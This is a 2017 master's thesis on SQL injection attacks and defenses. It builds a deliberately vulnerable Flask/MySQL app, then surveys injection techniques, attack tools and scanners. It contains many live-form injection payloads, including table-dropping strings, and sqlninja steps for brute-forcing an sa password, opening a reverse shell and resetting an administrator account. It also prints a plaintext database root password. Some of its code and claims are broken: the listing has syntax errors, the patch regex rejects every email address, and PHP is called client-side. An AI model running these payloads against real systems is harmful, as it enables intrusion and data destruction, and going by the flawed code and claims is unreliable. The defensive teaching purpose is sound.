IMPROVING TECHNIQUES FOR SQL INJECTION

DEFENSES

by

DIVYA KILARU

B. TECH, K L University, 2014

A thesis submitted to the Graduate Faculty of the

University of Colorado Colorado Springs

in partial fulfillment of the

requirements for the degree of

Master of Science

Department of Computer Science

2017
This thesis for the Master of Science degree by

Divya Kilaru

has been approved for the

Department of Computer Science

by

C. Edward Chow, Chair

Sang-Yoon Chang

Yanyan Zhuang

Date: __12/7/2017______
Kilaru, Divya (M.S., Computer Science)

Improving Techniques for SQL Injection Defenses

Thesis directed by Professor C. Edward Chow

ABSTRACT

In this thesis, we investigate how SQL injection attacks occur and how to patch a web app with the SQL injection vulnerability. Various SQL injection tools are evaluated for their functionalities and capabilities. A python web app utilized FlaskApp with MySQL API support was created with common web security and SQL injection vulnerability. We demonstrate a simple malicious string can be used to reveal the password table content. A secure design pattern was introduced where the lack of input validation and the generic nature of the SQL query were discovered in the web app. Patches were performed to secure the app.
ACKNOWLEDGEMENTS

Many people have shared their time and expertise to help me accomplish my goal. First, I would like to sincerely thank my advisor, Dr. C. Edward Chow, for his constant support and guidance. His worldwide around-the-clock instant responses to my countless inquiries have been invaluable and motivational. Many thanks to Dr. Chaun Yue, who first introduced me to the concept of SQL Injection and whose lectures have inspired me to choose the current research focus. Special thanks to Dr. Sang-Yoon Chang, Dr. Yanyan Zhuang who help edit this thesis. Also deserve much credit are my many friends, Pragati, Mubaraka, Melissa, Albert, Sanjida, Caitlin Geibel, Steve Lisa, and the staff in the Computer Science department, specially Dr. Kristen Walcott-Justice.

Finally, I need to acknowledge my family members and two very important persons in my life, my Father and dearest friend Vijaya Kumar and my mom Lakshmi Prasuna. Without their love, support, friendship, and faith, I will not be here today. Thank You.
# TABLE OF CONTENTS

## CHAPTER

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>I INTRODUCTION</td>
<td>1</td>
</tr>
<tr>
<td>1.1 Related Work</td>
<td>2</td>
</tr>
<tr>
<td>II GOAL OF THE THESIS</td>
<td>6</td>
</tr>
<tr>
<td>III CREATE WEB APP WITH PYTHON AND DATABASE</td>
<td>7</td>
</tr>
<tr>
<td>IV PERFORM SQL INJECTION ON THE WEB APP</td>
<td>13</td>
</tr>
<tr>
<td>4.1 Open Firewall to Allow Outside Access</td>
<td>14</td>
</tr>
<tr>
<td>4.2 SQL Injection Example</td>
<td>15</td>
</tr>
<tr>
<td>V PATCH WEB APP WITH SQL INJECTION VULNERABILITY</td>
<td>17</td>
</tr>
<tr>
<td>VI SQL INJECTION</td>
<td>20</td>
</tr>
<tr>
<td>6.1 Categorization of SQL Injection</td>
<td>20</td>
</tr>
<tr>
<td>6.1.1 Classic SQL Injection</td>
<td>20</td>
</tr>
<tr>
<td>6.1.2 Blind SQL Injection</td>
<td>22</td>
</tr>
<tr>
<td>6.1.3 Database Specific SQL Injection</td>
<td>23</td>
</tr>
<tr>
<td>6.1.4 Compound SQLI</td>
<td>25</td>
</tr>
<tr>
<td>6.2 SQL Injection Vulnerabilities</td>
<td>25</td>
</tr>
<tr>
<td>6.2.1 Incorrectly Handled Escape Characters</td>
<td>25</td>
</tr>
</tbody>
</table>
6.2.2 Incorrectly Handled Types .......................................................... 27
6.2.3 Incorrectly Handled Query Assembly ......................................... 27
6.2.4 Incorrectly Handled Errors .......................................................... 28
6.2.5 Incorrectly Handled Multiple Submissions ................................. 28
6.3 SQL Injection at Code Level................................................................. 29
   6.3.1 PHP .................................................................................. 29
   6.3.2 ASP/ASP.NET ....................................................................... 31

VII TOOLS FOR SQL INJECTION................................................................. 32
7.1 BSQL Hacker ................................................................................ 32
7.2 Command Prompt ....................................................................... 35
7.3 SQLMap Tool ........................................................................... 35
7.4 SQLninja ................................................................................ 37
7.5 Mole .................................................................................... 39
7.6 SQLSus ................................................................................ 40
7.7 Burp Intruder .......................................................................... 41

VIII PREVENTING SQL INJECTION.......................................................... 42
8.1 Microsoft Source Code Analyzer ............................................... 43
8.2 HP WebInspect ................................................................. 44
8.3 IBM Rational App Scan .............................................................. 45
8.4 HP Scrawlr ............................................................................ 47
LIST OF FIGURES

FIGURE

1: SQL Injection Example ................................................................. 2
2: Showme.py .................................................................................. 9
3: Database Credential ................................................................. 9
4: Database phpmyadmin ............................................................... 10
5: Host App .................................................................................. 11
6: Output Showme.py without Host App ........................................ 12
7: Web access results and related http status code ...................... 13
8: Firewall-cmd commands for opening up outside access to FlaskAp 15
9: Normal operation of member profile request result .................. 16
10: SQL Injection Result ............................................................... 16
11: Vulnerabilities in Showme App ............................................... 17
12: Patching the Showme.py code ................................................. 18
13: Show the techniques in php code ............................................. 19
14: BSQL Hacker Demonstration .................................................. 33
15: SQLMap Demonstration .......................................................... 36
16: Extracted Columns from the table .......................................... 37
17: Mole Demonstartion .............................................................. 40
18: HP WebInspect Demonstration .............................................. 44
19: IBM Rational AppScan Demonstration .................................... 45
20: HP Scrawlr Demonstration ........................................................................................................... 48

21: URLScan Demonstration ............................................................................................................... 49

A.1: FlaskApp Setup .......................................................................................................................... 58

A.2: Running web app created using FlaskApp. .................................................................................. 59

A.3: Console show the http requests processed. ................................................................................ 59

A.4: Normal processing of member profile request. ........................................................................ 60

A.5: Results of SQL Injection Attack. ............................................................................................... 60

A.6: Setup mysql database access credential. .................................................................................... 60

A.7: Using phpmyadmin GUI to observe the created database entries. ........................................... 62

A.8: Showme.py code that allows all outside accesses ......................................................................... 63

A.9: The execution of showme.py with app.run(host='0.0.0.0') settings ........................................ 63

A.10: Using firewall-cmd to open firewall to listen to port 5000. ..................................................... 64
CHAPTER I

INTRODUCTION

Web applications are ubiquitous, regardless of language they are written. They normally have a back-end database with web pages of server-side scripting and they are interactive and database-driven.

Database-driven web applications have three tiers: Presentation tier (a Web browser or rendering engine), logic tier (a programming language, such as C#, ASP, .NET, PHP, JSP, etc.), Storage tier (a database such as Microsoft SQL Server, MySQL, Oracle, etc.) [SAFARI2002]. Presentation tier usually sends request to logic tier in the form of user input. Later logic tier services the request by making SQL queries and executing in the back-end database/storage tier.

The number one vulnerability in the top ten list from OWASP is injection vulnerability where the user input is used by the application without sanity checking in OS command execution or SQL query execution [OWASP2013]. In this proposed research we focus on SQL injection attacks and defenses. Figure 1 shows an example of SQL injection attack on a website hosted at cs591x.csnet.uccs.edu. By adding additional malicious input to the Email parameter submitted to the showme.php server side script, the attacker can receive the whole of user password maintained by this web app.
In this proposed research, we will focus on SQL database attacks and defense. One should be familiar with the type of attacks in order to provide an effective defense. Injection type of vulnerabilities have been reported as the most dangerous web vulnerabilities by OWASP [OWASP2013, Half2006]. They include the command injection and SQL injection vulnerabilities.

1.1 Related Work

Huang et al [Huan2004] introduced the concept of “Tainted Data Tracking”, a SQL injection defense where before the SQL statement is submitted to the database for execution its syntax-tree is examined for input-validation related errors using preconditions. Based on the points where preconditions have not been met it suggest filters and sanitization functions that can be automatically added to application to satisfy these preconditions. However, drawback of this technique is that it assumes adequate preconditions for sensitive functions can be accurately expressed.
Valeur et al [Vale2005] introduced the concept of “**Intrusion Detection Based on Static Analysis**”. This technique builds model of queries and monitors the application at runtime to identify queries that don’t match the model. However, limitation of this technique is that they cannot provide guarantees about their detection abilities and lead to generate large number of false positives and negatives.

Huang et al [Huan2003] introduced the concept of “**Black Box Testing**” for testing application for SQL Injection vulnerabilities. The technique uses web crawler to identify points in application that can be injected to SQL Injection attacks, later it applies a library of pre-collected attack patterns that help to detect the trivial SQL injection vulnerabilities.

Boyd et al [Boyd2004] introduced the concept of “**SQL Randomization**”. SQL Randomization is an approach based on instruction-set randomization, appending a random number after each SQL keyword used to build SQL statements. Later at runtime SQL parser finds that user injected SQL keyword does not have random number appended the attack is stopped.

Kemalis et al [kema2008] introduced the concept of “**Novel-Specification Based Methodology**”. In this technique it utilizes specifications for defining the intended structure of SQL queries. It compares the predefined SQL statement with the generated SQL statement at compile time.

Halfond et al [Half2005] introduced the concept of “**AMNESIA**” which is a model-based technique that combines both static analysis and runtime monitoring. AMNESIA
uses static analysis to build different queries an application can legally generate at each point of access to the database. In dynamic phase, it intercepts all queries and checks each query against the statically-built models before they are sent to the database. However, the limitation of this technique is that its success dependent on accuracy of static analysis for building query models.

Huang et al [Huan2004] introduced the concept of “Anomaly-Based Detection of Attacks”, Learn the relationship between applications critical execution points and the applications internal state, helps to identify attacks that attempt to bring an application in an inconsistent state.

Bisht et al [Bish2010] introduced the concept of "CANDID: Dynamic candidate evaluations for automatic prevention of SQL injection attacks." This technique record the programmer intended SQL query structure on any candidate inputs from the legitimate user and compare this with query structure generated by attackers input. However, disadvantage with this technique are Developer learning is required and it is not possible to make a complete set of legitimate inputs for a large web application.

Kim et al [Kim2011] introduced the concept of "Injection attack detection using the removal of SQL query attribute values." This method presents an effective technique in removal of SQL query passed by user in SQL query attribute values. It uses combined static and dynamic analysis. The method works by utilizing a function which has the capability to detect the attribute values of static SQL query in web application. Later the function detects the SQL queries generated at runtime. The approach profile the SQL
query generated from normal users and compare this with SQL query generated
dynamically by attacker. However, disadvantage with this technique are developer
learning is required and source code adjustment is needed.

Steiner et al [Ste2017] in their paper titled "A Structured Analysis of SQL Injection
Runtime Mitigation Techniques," review different techniques includes SQLCheck,
SQLGuard [Shar2013], and SQLProbe for mitigating the SQL injection attack impacts.
CHAPTER II

GOAL OF THE THESIS

SQL injections has been known for many years and still presented challenges even though many solutions have been proposed. In this thesis we try to answer the following question “Can a SQL injection defense can be effective designed and developed based on software patching and taint tracking and analysis?”

The main goal of this project is to enhance or improve SQL injection techniques. The main tasks of this project are:

- Perform literature survey on SQL injection attacks and defenses.
- Setup a virtual machine to investigate SQL injection tools
- Study SQL injection techniques and related victim source code.
- Create software patches for the web apps with SQL injection vulnerabilities or create generic SQL injection defense techniques.
- Evaluate their effectiveness in defending against SQL injection. Suggest improvements.

Metrics for evaluating my thesis are:

- Effectiveness of SQL injection attack/defense techniques/tools
- Time Performance
- Type and the number of SQL injection vulnerabilities discovered/patched.
CHAPTER III
CREATE WEB APP WITH PYTHON AND DATABASE

Python is widely used language for web development and Django is the defacto web development framework. However there are some other frameworks not much popular but appreciated, one such framework is Flask. Flask is widely used for creating simple and easy RESTful APIs.

We create a web Application using Flask MySQL following the following steps:

• To get started with development in Flask:
• Make sure you have python installed
• Install Flask using Pip-> pip install Flask
• Make sure you have MySQL installed.

Suppose we are developing login page for a web application. From the terminal, create directory for our application.

```bash
mkdir FlaskApp
```
```bash
cd FlaskApp
```

Inside the FlaskApp directory lets create a `hello.py`. This is how it looks like

```python
from flask import Flask
```
app = Flask(__name__)

@app.route("/")

def hello():
    return "Welcome to Python Flask App!"

if __name__ == "__main__":
    app.run()

In the above code, we have simply defined a route and the function to call hello. Now, time to run the application. From the terminal, type

cd hello

go to the virtual machine and list (ls) the folders in the root directory. Then change directory(cd) to FlaskApp and ls the files in FlaskApp folder. Open the file showme.py and execute the file using-

python showme.py

Now the file showme.py is running. It was running with port 5000.
In the code above it shows the credential needed for accessing the MySQL database including -User, Password, DB, Host.

You can also access the database through the phpmyadmin with

http://dkilaru.csnet.uccs.edu/phpmyadmin/

The root password is cs00net
Line 52 shows the execution of the MySQL query which retrieve the user information related to the member with the email address equal to that of the input data.

SELECT * from member1 where email='”' +email+ ‘”'

This is the query statement the hacker will try to attack by injecting with malicious string. The malicious string may contain logical expression to modify the results of the where clause or add another query for retrieving or modify the database.
Here the application can provide information to the firewall to see if it is open for outside access. In the above code if the host='0.0.0.0' have been removed from the app.run, then it will be blocked by the firewall.
Output of the above code-showme.py when the host='0.0.0.0' was removed from the app.run. No more http GET request is processed.

When the host='0.0.0.0' have been added to the app.run at the beginning, we see a http GET request is processed and its log is printed out on the console.
CHAPTER IV

PERFORM SQL INJECTION ON THE WEB APP

In this Chapter we show how to perform SQL injection on a FlaskApp based membership web app we just created. First we setup the virtual machine and run the showme.py code. We verify it actually can process request given a proper credential. For example, given the following url. The dkilaru vm should return the proper http response.

http://dkilaru.csnet.uccs.edu:5000/Showme?email=cs591@uccs.edu&passwd=netsec

Figure 7 shows that credential resulting httpd status code 200 which means it is successfully retrieved and delivered. The other requests for /favicon.icon was not successful since we do not have such files in our web document directory.

Figure 7: Web access results and related http status code
4.1 Open Firewall to Allow Outside Access

Note that a typical Linux system has firewall protection. Any of the services including the web service we try to provide here on port 5000 needs to be set to open by the firewall. In the current Fedora core OS the command for working with the firewall is firewall-cmd.

Figure 8 shows the basic firewall command to allow the port open for outside access. To list all the current open ports, we use “firewall-cmd –zone=public --list-ports”

It shows that current there is a local port 5000 running above TCP protocol.

To open the outside access to the FlaskApp service, we need to first find out the zone name associated with the current network interface. With ifconfig –a command, we find the current network interface is ens192 on my virtual machine.

We then use the command “firewall-cmd --get-zone-of-interface=ens192” to find the zone name. It turns out to be FedoraServer. Next we use the command “firewall-cmd --permanent --zone= FedoraServer --add-port=5000/tcp” to open the port 5000 for service requests coming in through interface ens192.
4.2 SQL Injection Example

In this section we perform SQL injection on the member profile request app. Figure 9 shows the normal member profile request result.
We then enter the SQL injection malicious string ‘or 0=0’ right after the email address for Email content. After hit the submit button, we see the response return similar to Figure 10. It shows all the member information are revealed.
CHAPTER V

PATCH WEB APP WITH SQL INJECTION VULNERABILITY

Figure 11 shows the Showme.py code after reading in email and password at Lines 48 and 49, it does not perform the input validation right away and did not exit when there is a malicious input. The other mistake in email is passed along directly to the SQL query statement.

```python
42 @app.route("/Showme", methods=['POST', 'GET'])
43 def Showme():
44    if request.method == 'POST':
45        email = request.form['email'] # values.get allow both method
46        password = request.values.get('passwd')
47    else:
48        email = request.values.get('email') # values.get allow both method
49        password = request.values.get('passwd')
50    cursor = mysql.connect().cursor()
51    cursor.execute("SELECT * from member1 where email='" + email + "'"
52    data = cursor.fetchall()
53    tablebody=[
54    for row in data :
55        tablebody.append(resbody % (row[0], row[1], row[2], row[3], row[4]))
56    tablebody.append(resbody % (row[0], row[1], row[2], row[3], row[4]))
57    result=''.join(tablebody)
58    if data is None:
59        return "Email or Password is wrong"
60    else:
61        return htmlHead+result+htmlTail
62
63
```

Figure 11: Vulnerabilities in Showme App

To patch that we need to add the regular expressions to detect the malicious string in the input and exit right away with sys.exit(). The following code piece needs to be inserted right after line 49.
m=re.match(r'^[a-zA-Z0-9]{4,8}$', email)

if m is None:
    print err3html
    sys.exit()

Figure 12 shows the section of the input validation code inserted after the email is read.

Note that the Even though input validation can catch most if not all errors. We can apply defend in depth principle by parameterizing SQL queries to restrict query further. Use ? to present each parameter. Hackers are not allowed to change the queries. Use bind_param() with the first argument specifying the types of parameters in the query. Thus we can detect incorrect value submission.
Figure 13: Show the techniques in php code
CHAPTER VI

SQL INJECTION

SQL injection occurs basically on the direct insertion of code into parameters that are concatenated with SQL commands and executed. The second form of sql injection (direct attack) where malicious code injected into strings that are destined for storage in a table or as metadata. In this case the malicious code is executed, when the stored strings are subsequently concatenated into a dynamic SQL command.

The third form when the Web application fails to sanitize the parameters properly which are passed to dynamically created SQL statements (even though parameterization techniques are used) it is possible for an attacker to alter the construction of back-end SQL statements [Justin2009] [OWASP2016].

6.1 Categorization of SQL Injection

6.1.1 Classic SQL Injection

Browser based attack by injecting queries in various parameters. This is the first form of SQL Injection attack as we talked previously.

The following URL can be injected:

http://www.victim.com/products.php?val=100
This can be done by appending to the input parameter *val*. You can do this by appending the string '* OR '1'='1* to the URL:

http://www.victim.com/products.php?val=100'OR'1'='1

You can inject in the parameter form of username and password. Among the parameters of username, password one might be vulnerable and one might be not. Sometimes both can be vulnerable. In the above example of URL the input parameter *val* is vulnerable.

Injection in the username parameter-

Username: **running’ OR ‘1’=’1; #**

Password:

The original SQL query of the form:

*Select * from table where Username='Username’ and Password='Password’;*

The Injected SQL query of the form:

*Select * from table where Username='running’ OR ‘1’=’1;#’ and Password='Password’;*

Injection in the username parameter-

Username: ‘; DROP Table users; #

Password:

In this case the Username parameter is vulnerable to SQL Injection. The **DROP Table users;** is considered as a separate statement and is executed, which deletes the entire users
table after the username is searched. The same can be applied to the vulnerable password parameter.

The vulnerability can also be handled in the search parameter by using

Search: ‘or username like’ %0a%

6.1.2 Blind SQL Injection

Blind SQL injection is another form of SQL injection as the name indicates it’s the blind insertion of code into vulnerable parameters (trial and error). The disadvantage of blind SQL Injection is time-consuming and human resource consumption. If you insert some code/ logical statement and it doesn’t display necessarily mean data. Then it doesn’t mean can’t vulnerable to SQL Injection.

Some of the blind SQL Injection code commands are:

Or ‘1’=’1

1’ or ‘1’=’1

‘ or ‘x’=’x

‘ or 0=0 #

‘) or (‘x’ =’x

“ or 1=1--

‘ or a=a--
Conditional Response:

In the first statement, \( or \ 1 = 1 \) makes the database return every product. The database detects this as an anomaly and shows the first product.

In the second statement, \( or \ 1 = 2 \) makes no difference in the result, and therefore the flow of execution continues without change.

Another form of attack is Second order SQL injection where submitted values contain malicious commands that are stored rather than executed immediately. The application may correctly encode an SQL statement and store it as valid SQL. However the another part of application without controls against SQL injection might execute that stored SQL statement.

### 6.1.3 Database Specific SQL Injection

By appending a single quote (') to the value in the URL returns an error


Depending on the error sent by the web server we can figure out what the database in use, scripting language in use, and related to the operating system. On the basis of identifying the database the insertion of malicious code becomes easier (black-box attack)[Justin2009]. If we guess language we can figure out of the database mostly, on the basis of knowledge that some databases mostly use some scripting languages. This helps to reach our target of attack much easier.
Once you identify the database sometimes it becomes harder to still attack as the versions of databases change drastically. So you can identify the version by using:

Generates an error converting a string to an integer:

http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/@@version;--

To display any variable in the database:

http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/user;--

To display information about the statement executed by the database, such as the use of `having 1=1`:

http://www.victim.com/showproducts.aspx?category=bikes' having 1'=1

`GROUP BY` you can enumerate all the columns in a `SELECT` statement:


having '1'=1

When testing applications for SQL Injection Vulnerabilities you can Inject database time delays and check whether the response from the server has also been delayed. Time delays are powerful as web server can hide errors/ data but cannot avoid waiting for the database to return a result.

And finally you can confirm the existence of SQL Injection:

http://www.victim.com/basket.aspx?uid=45;wait for delay '0:0:5';--
6.1.4 Compound SQLI

It uses compound conditions that make use of AND or OR. A compound statement can be used to group all the other statements to constitute an executable block.

Examples of Compound SQLI are:

http://www.victim.com/logon.aspx?username=test' and 1=0/User and 1'='1

http://www.victim.com/logon.aspx?username=test' and 1=0/Password and 1'='1

To discover other accounts adding the discovered usernames in a negative condition to exclude them from the result set:

http://www.victim.com/logon.aspx?username=test' and User not in ('Admin') and 1=0/User and 1'='1

6.2 SQL Injection Vulnerabilities

SQL injection vulnerabilities occur for two reasons [OWASP2016]:

-Invalidated user input: (Lack of user input sanitization) User Input not filtered for escape characters and passed to SQL statement directly. Input validation is classified into the following as shown below.

6.2.1 Incorrectly Handled Escape Characters

Characters to watch for: ; , ‘ / +
Consider the following example-

http://www.victim.com/search.asp?brand=acme is the URL which forms the query in the back-end database as:

SELECT * FROM products WHERE brand = 'acme'

If you want to replace the ‘m’ with ‘l’. Then using the string concatenation operation you can perform:


As %2B is the URL-encoded version of the plus sign, then it would be:

SELECT * FROM products WHERE brand = 'acm'+'e'

It can be further concatenated as:

http://www.victim.com/search.asp?brand=ac%2Bchar(109)%2B'e and

http://www.victim.com/search.asp?brand=ac%2Bchar(108%2B(case+when+(system_user+=+'sa')+then+1+else+0+end)%2B'e

Finally it would display the result as:

http://www.victim.com/search.asp?brand=acle

As char(108) is ‘l’ and when the system_user=’sa’ then it would be +1 or else +0. Here system_user not equal to sa. So the ‘m’ turned to ‘l’.

You can easily identify that the URL is mostly vulnerable when:

The same can be applied in the username and password parameters as shown in classic SQL Injection and Blind SQL Injection.

### 6.2.2 Incorrectly Handled Types

SQL injection occurs when a **user-supplied** field not **strongly typed** or not checked for type constraints

```
id: 1'; DROP Table users; #
```

Then the query would become something like this:

```
SELECT * FROM userinfo WHERE id=1; DROP TABLE users;
```

Where the entire users table would be dropped because of improper handled types.

### 6.2.3 Incorrectly Handled Query Assembly

Some applications need to be coded applications dynamically, as table and field not be known at development stage of application. The script uses application-generated values as Input, that Input is table name and three columns as shown:

```
Where the attack can be of the form:
```
http://www.victim.com/user_details.php?table=users&column1=user&column2=password&column3=Super_priv

If the attack is successful the following data of users is displayed.

6.2.4 Incorrectly Handled Errors

When detailed Internal Error Messages such as database dumps and error codes are displayed to the user. Then implemented details are revealed in detail which should never be done like that. When the attacker uses:

`' and 1 in (select @@version)--`

Then they would be an error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

Which reveals everything of the application database and language, platform.

6.2.5 Incorrectly Handled Multiple Submissions

White list is a technique where multiple characters are not allowed except in white list.
Black list technique means all characters should be allowed, except those that in black list. When the validation of Input using this techniques is missed then it would lead to SQL Injection attacks.


Data and control structures mixed in the same transport channel: Potential manipulation of statements executed on the database by the end-user of application.

The Injected SQL query of the form: Select * from table where Username='running’ OR ‘1’='1;#' and Password='Password’;

6.3 SQL Injection at Code Level

6.3.1 PHP

PHP is one of the scripting languages at the client side [SQL2017]. Consider how the code could be vulnerable to SQL Injection.

$user=$db->query("select * from users where email='{$email}'");

It is vulnerable as the attacker can insert any command into the SQL statement and retrieves the data from the database. To avoid the execution of the malicious commands and ignore its execution on the database parameterized queries are helpful.
Once you have parameterized the queries even the malicious code is considered as a general data. For example:

```php
$user=$db->prepare("select * from users where email=:email");

$user->execute(['email'=>$email,]);
```

Using the parametrized queries malicious code entered by the user is not concatenated with SQL statement and considered as a separate data not mixed with code.

The protection can be done by using:

```ruby
name="'OR '1'='1"
user=User.where(:name=>name).first
puts user
```

```ruby
or
```

```ruby
name="'OR '1'='1"
user=User.where("name=(?)",name).first
puts user
```

In PHP it can also allow ‘ characters in the username. For example-O’sulve if the query is constructed by using:

```php
$username=mysqli_real_escape_string($dbh,$username);
```
In this case the username is considered as a regular character, not as an escape character. The magic_quotes, addslashes(), mysql_real_escape_string() filters completely cannot prevent the presence of SQL Injection vulnerability. However they are techniques used in conjunction with environmental conditions that allow an attacker to exploit the vulnerability.

### 6.3.2 ASP/ASP.NET

The ASP/ASP.NET are also the server side scripting languages. The parameters are represented in the SQL statement by @ marker, which tells that each parameter is correct for its column [Technet2017]

```plaintext
txtUserId=getRequestString("UserId");
txtSQL="SELECT*FROMUsersWHEREUserId=@0";db.Execute(txtSQL,txtUserId);
```
CHAPTER VII

TOOLS FOR SQL INJECTION

Automating the SQL Injection attacks using some Blind SQL injection extraction and retrieval tools to access the database contents. A number of tools are available to help an attacker exploit blind SQL injection vulnerabilities. Some of those are defined below.

7.1 BSQL Hacker

BSQL Hacker utilizes a number of inference techniques to enable the attacker to extract database contents as shown in Figure 14.

BSQL Hacker is a graphical GPL tool designed to make exploitation of blind SQL injection vulnerabilities. The tool is designed to be used by novices and experts alike; attempts to figure out all the details of a vulnerability. The tool can be used in both manual and automatic SQL Injection attacks.

Demonstration of Tool for manual Blind SQL Injection:
The steps of perform SQL Injection are: In BSQL hacker tool go to settings->BSQL Characters->Predefined Characters (Custom-Enter Below). Later go to Automated Attack and untick the Database Information checkboxes. Later click on Templates in the top menu bar and select on Template-MySQL 5.0+-Blind SQL Injection. Then they would be an attack settings window open. In that give the vulnerable URL you feel that you want to attack and click on ok. Then automatically you can find the Target URL created for Injection.

So in the Target URL:
http://128.198.48.253/showme.php?id=1AND1=(SELECTIF((IFNULL(ASCII(SUBSTR((select group_concat(table_name) from information_schema.tables where table_schema=database())),1)),0){OPERATION}{CHAR}),1,2))/*

You can replace the \{INJECTION\} with “select group_concat(table_name) from information_schema.tables where table_schema=database()” and remove the /*,?id=1 for the URL as shown below and click on the start button icon. Then you would get the test results as shown in the above screen shot.

http://128.198.48.253/showme.phpAND1=(SELECTIF((IFNULL(ASCII(SUBSTRING(( select group_concat(table_name) from information_schema.tables where table_schema=database())),1)),0){OPERATION}{CHAR}),1,2))

The test results include Status, Application Log information. Which would help you in further injection. You can also replace the \{INJECTION\} with some other queries like: “select group_concat(column_name) from information_schema.columns where table_name=hex_code(of table_name)” depending on the retrieval of information from the database.

The other form of attack with the BSQL Hacker can take place when you select the automated attack icon and mention the Target URL and click on start icon. Where the result can be displayed in the web preview.
7.2 Command Prompt

You can also perform the SQL Injection attack using command Prompt. However command prompt is not a tool, but it would help in control the web application in the form of making it so slow such that it doesn’t work.

The commands to run SQL injection attack in the command prompt are:

```
tracert url_name
```

For example:

```
tracert http://128.198.48.253/showme.php
```

```
ping -t -l 1250 http://128.198.48.253/showme.php
```

The number 1250 is used to mention the length it would slow down.

7.3 SQL Map Tool

Automatic SQL Injection and database take over tool. Using this tool you can retrieve the detailed information from the database as shown in Figure 15 [Sqlmap2017].
Demonstration of Tool:

The commands to perform the SQL Injection are:

```shell
Sqlmap –u url_name –dbs
```

Where you would display the available databases. So to know the tables available from the given databases. Select:

```shell
Sqlmap –u url_name –D database_name –tables
```

To get the columns in the table use as shown in Figure 16:

```shell
Sqlmap –u url_name –D database_name –T table_name –columns
```
The Find the name of the column you can use the following commands:

```
Sqlmap –u url_name –D database_name –T table_name –C id --dump.
```

Where the id is displayed. You can also use the commands like:

```
Sqlmap –u url_name –D information_schema –tables
```

To display the tables once the tables are displayed you can identify the columns of the table_name by using:

```
Sqlmap –u url_name –D database_name –T table_name –columns
```

### 7.4 SQLninja

This tool would be useful to test the website for vulnerabilities. It is also one of the blind-SQL Injection Tools. The steps of how the tool gets executed are:

**a) Configure the ninja.conf file:**

- The victims website to inject
b) Test the website for vulnerabilities:

If you get a positive on this you can get to the victims machine

The command is:

```
./sqlninja -m test
```

c) Finger print the website:

```
./sqlninja –m fingerprint
```

Identifying what we can and cannot do, and what are the privileges we have. Then select

(a)-All the above

d) Brute force the sa password:

```
./sqlninja –m bruteforce –w /root/wireless/wordlist.txt
```

-m indicates the mode, -w indicates the wordlist

Using this the password is found out.

e) Attempt to resurrect the command shell

```
./sqlninja –m resurrectxp –p password
```

To get into the website

Find if you can revive the command shell. If not set it to
Xp_name=NULL

f) Upload files to create command shells.

./sqlninja –m upload –p password

Then later set usechurraseo=yes

g)./sqlninja –m revshell –p password

To perform reverse shell. Then it would ask some questions as Local port/tcp/udp.

Then finally you are on the server.

For cross checking type:dir

h) Change the administrator password in the command shell

using the command:

net user administer password

Finally the command completed successfully

i) Then open vnc GUI to open SQL server

./sqlninja –m metasploit –p password

7.5 Mole

Mole is also one of the automated SQL Injection tool. It works similar to SQLMap. The commands to perform attack by using Mole tool are as shown in the demonstration as shown in Figure 17.
url vulnerable-site-name

needle one-of the-menu-options

schemas

tables dbname

columns dbname tablename

query dbname tablename col1, col2, col3

Figure 17: Mole Demonstartion

7.6 SQLSus

SQLSus also one of the automated SQL Injection tool. That would perform similar to SQLmap, Mole. The commands required to perform SQL Injection are:
Sqlsus

Sqlsus –g vuln.config

Nano vuln.config

Sqlsus vuln.config

Get databases

Get columns

Get columns column_name1

Get columns column_name2

7.7 Burp Intruder

Burp Intruder acts as a proxy between the web application and web browser. The proxy takes the role of database server and helps in manipulation of data in the database which are displayed in application.
CHAPTER VIII

PREVENTING SQL INJECTION

Sql injection attacks has become popular because of two main reasons:

- The prevalence of sql injection vulnerabilities.
- The attractiveness of target database.

Identifying SQL Injection vulnerabilities is also one of the forms of preventing SQL Injection attacks. The developers have assigned the task of securing the application by using automated SQL Injection vulnerability identifier tools. Where there state of defense would become easier. But in some places they would not assign tools for identifying vulnerabilities.

In that case they should manually inspect the code and fix the errors. However inspecting the code of large applications would become harder. In that cases they would fix the vulnerabilities by using the Automated source code Reviewer Tools. Most of the companies now a days prefer to use automated SQL Injection vulnerability identification tools than compared to Review Tool, as there life would become easier. The Automated Source Code Review Tools are: Yet another Source Code Analyzer (YASCA), Pixy, AppCodeScan, LAPSE, Security Compass Web Application analysis Tool (SWAAT), Microsoft source code analyzer for SQL Injection. However due to space constraints one of the tools have been explained in this paper [Pen2017].
8.1 Microsoft Source Code Analyzer

Microsoft Source Code Analyzer (MSCA) is static code analysis tool. It analyzes classic ASP source code for finding potential SQL injection vulnerabilities. It can detect both first and second-order SQL injection bugs and points to the exact line of source code where error has actually occurred.

(i) First-order SQL Injection Vulnerabilities take place, when the data which has been supplied by users comes from ASP’s Request.Form or Request.QueryString and where that data used to construct dynamic SQL statements without any data validation, which makes an attacker to inject SQL commands into SQL statement and misuse them.

(ii) Second-order SQL Injection Vulnerability takes place where user input of one ASP page is stored in a database and later retrieved from the database to construct dynamic SQL statements in a different ASP page.

However the manual inspection of code can be done in small applications, where they have explained in SQL Injection at Code Level. The Automated SQL Injection Defense Tools are: HP WebInspect, IBM RationalAppScan, HP Scrawlr, Web Cruiser, URLScan, WebKnight, ModSecurity. Among these some will be demonstrated in this paper.
8.2 HP WebInspect

HP WebInspect is one of the crawling and audit tools used in the defense of SQL Injection attacks [Justin2009]. The Demonstration takes place in the following steps as shown in Figure 18.

Step 1: When we start the main screen gets launch the user interface. Then go to start a Basic Scan (Where you can find Vulnerabilities). Then scan wizard will be opened, where you would have options like scan Name, Crawl only, Crawl & audit, audit only, manual. The Crawl only just checks the site structure, the URL’s that are present and perform the repeated scanning. Audit function is used to perform the tasks like SQL Injection, XSS etc. In the Scan Wizard mention the start URL and click on next.

![Figure 18: HP WebInspect Demonstration](image)

Step 2: Where you can find Authentication and Connectivity window open. There you would find options like Network Proxy, Network Authentication, site Authentication. In this keep the default proxy settings as use Internet Explorer and go Next.
Step 3: In that you can find Coverage and Thoroughness. Finally click on Next. The Detailed Scan Configuration. The Profiling scan take place. You can see the site structure, Scan Info, Session Info, Site Dashboard.

8.3 IBM Rational App Scan

IBM Rational App Scan [Justin2009] is also one of the SQL Injection vulnerability identification tools as shown in Figure 19.

![IBM Rational AppScan Demonstration](image)

Figure 19: IBM Rational AppScan Demonstration

